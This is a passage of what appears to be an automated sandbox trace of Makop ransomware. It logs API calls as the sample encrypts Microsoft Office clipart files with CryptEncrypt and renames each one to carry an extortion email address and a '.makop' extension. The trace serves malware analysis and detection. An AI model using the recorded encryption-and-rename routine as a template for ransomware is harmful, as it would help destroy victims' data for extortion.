lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0109.463] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0109.463] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0109.463] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0109.464] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0109.464] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0109.464] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0109.464] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0109.464] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0109.464] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x94a, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x94a, lpOverlapped=0x0) returned 1 [0109.465] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x950, dwBufLen=0x950 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x950) returned 1 [0109.465] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0109.465] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x950, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x950, lpOverlapped=0x0) returned 1 [0109.465] CryptDestroyKey (hKey=0x48c7128) returned 1 [0109.465] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xa24, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0109.465] SetEndOfFile (hFile=0xf0) returned 1 [0109.472] GetProcessHeap () returned 0x48a0000 [0109.472] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0109.472] GetProcessHeap () returned 0x48a0000 [0109.472] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0109.472] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00100_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0109.472] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00100_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00100_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00100_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00100_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0109.473] CloseHandle (hObject=0xf0) returned 1 [0109.474] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5c6eb500, ftCreationTime.dwHighDateTime=0x1bd4ae4, ftLastAccessTime.dwLowDateTime=0x51aadd90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5c6eb500, ftLastWriteTime.dwHighDateTime=0x1bd4ae4, nFileSizeHigh=0x0, nFileSizeLow=0x414, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS00135_.WMF", cAlternateFileName="")) returned 1 [0109.474] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00135_.WMF") returned 63 [0109.474] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00135_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00135_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0109.474] GetProcessHeap () returned 0x48a0000 [0109.474] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0109.475] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0109.475] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0109.475] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xc, lpOverlapped=0x0) returned 1 [0109.480] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0109.480] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0109.480] GetProcessHeap () returned 0x48a0000 [0109.480] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0109.480] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0109.480] CryptDestroyKey (hKey=0x48c7128) returned 1 [0109.480] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0109.481] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0109.481] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0109.481] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0109.481] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0109.481] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0109.481] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0109.481] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0109.481] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0109.481] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x414, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x414, lpOverlapped=0x0) returned 1 [0109.482] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x420, dwBufLen=0x420 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x420) returned 1 [0109.482] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0109.482] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x420, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x420, lpOverlapped=0x0) returned 1 [0109.482] CryptDestroyKey (hKey=0x48c7128) returned 1 [0109.482] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x4f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0109.482] SetEndOfFile (hFile=0xf0) returned 1 [0109.489] GetProcessHeap () returned 0x48a0000 [0109.489] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0109.489] GetProcessHeap () returned 0x48a0000 [0109.489] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0109.489] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00135_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0109.489] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00135_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00135_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00135_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00135_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0109.491] CloseHandle (hObject=0xf0) returned 1 [0109.492] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5295200, ftCreationTime.dwHighDateTime=0x1bd4b23, ftLastAccessTime.dwLowDateTime=0x51aadd90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc5295200, ftLastWriteTime.dwHighDateTime=0x1bd4b23, nFileSizeHigh=0x0, nFileSizeLow=0x876, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS00136_.WMF", cAlternateFileName="")) returned 1 [0109.492] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00136_.WMF") returned 63 [0109.492] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00136_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00136_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0109.492] GetProcessHeap () returned 0x48a0000 [0109.492] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0109.492] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0109.493] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0109.493] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xa, lpOverlapped=0x0) returned 1 [0109.498] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0109.498] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0109.498] GetProcessHeap () returned 0x48a0000 [0109.498] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0109.498] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0109.498] CryptDestroyKey (hKey=0x48c7128) returned 1 [0109.499] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0109.499] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0109.499] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0109.499] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0109.499] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0109.500] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0109.500] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0109.500] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0109.500] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0109.500] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x876, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x876, lpOverlapped=0x0) returned 1 [0109.500] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x880, dwBufLen=0x880 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x880) returned 1 [0109.500] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0109.500] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x880, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x880, lpOverlapped=0x0) returned 1 [0109.501] CryptDestroyKey (hKey=0x48c7128) returned 1 [0109.501] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x954, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0109.501] SetEndOfFile (hFile=0xf0) returned 1 [0109.508] GetProcessHeap () returned 0x48a0000 [0109.508] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0109.508] GetProcessHeap () returned 0x48a0000 [0109.508] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0109.508] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00136_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0109.509] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00136_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00136_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00136_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00136_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0109.511] CloseHandle (hObject=0xf0) returned 1 [0109.511] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd99a2a00, ftCreationTime.dwHighDateTime=0x1bd4ae4, ftLastAccessTime.dwLowDateTime=0x51aadd90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd99a2a00, ftLastWriteTime.dwHighDateTime=0x1bd4ae4, nFileSizeHigh=0x0, nFileSizeLow=0x6b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS00145_.WMF", cAlternateFileName="")) returned 1 [0109.511] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00145_.WMF") returned 63 [0109.511] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00145_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00145_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0109.514] GetProcessHeap () returned 0x48a0000 [0109.514] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0109.514] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0109.514] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0109.514] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0109.514] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0109.514] GetProcessHeap () returned 0x48a0000 [0109.514] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0109.514] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0109.514] CryptDestroyKey (hKey=0x48c7128) returned 1 [0109.514] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0109.519] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0109.519] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0109.519] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0109.519] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0109.519] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0109.520] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0109.520] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0109.520] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0109.520] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x6b0, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x6b0, lpOverlapped=0x0) returned 1 [0109.520] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x6b0, dwBufLen=0x6b0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x6b0) returned 1 [0109.520] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0109.520] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x6b0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x6b0, lpOverlapped=0x0) returned 1 [0109.520] CryptDestroyKey (hKey=0x48c7128) returned 1 [0109.521] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x784, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0109.521] SetEndOfFile (hFile=0xf0) returned 1 [0109.528] GetProcessHeap () returned 0x48a0000 [0109.528] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0109.528] GetProcessHeap () returned 0x48a0000 [0109.528] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0109.528] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00145_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0109.528] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00145_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00145_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00145_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00145_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0109.530] CloseHandle (hObject=0xf0) returned 1 [0109.531] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7ca47100, ftCreationTime.dwHighDateTime=0x1bd4af0, ftLastAccessTime.dwLowDateTime=0x600889f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7ca47100, ftLastWriteTime.dwHighDateTime=0x1bd4af0, nFileSizeHigh=0x0, nFileSizeLow=0x20ae, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS00174_.WMF", cAlternateFileName="")) returned 1 [0109.531] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00174_.WMF") returned 63 [0109.531] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00174_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00174_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0109.531] GetProcessHeap () returned 0x48a0000 [0109.531] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0109.531] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0109.531] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0109.532] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x2, lpOverlapped=0x0) returned 1 [0109.536] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0109.536] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0109.536] GetProcessHeap () returned 0x48a0000 [0109.536] 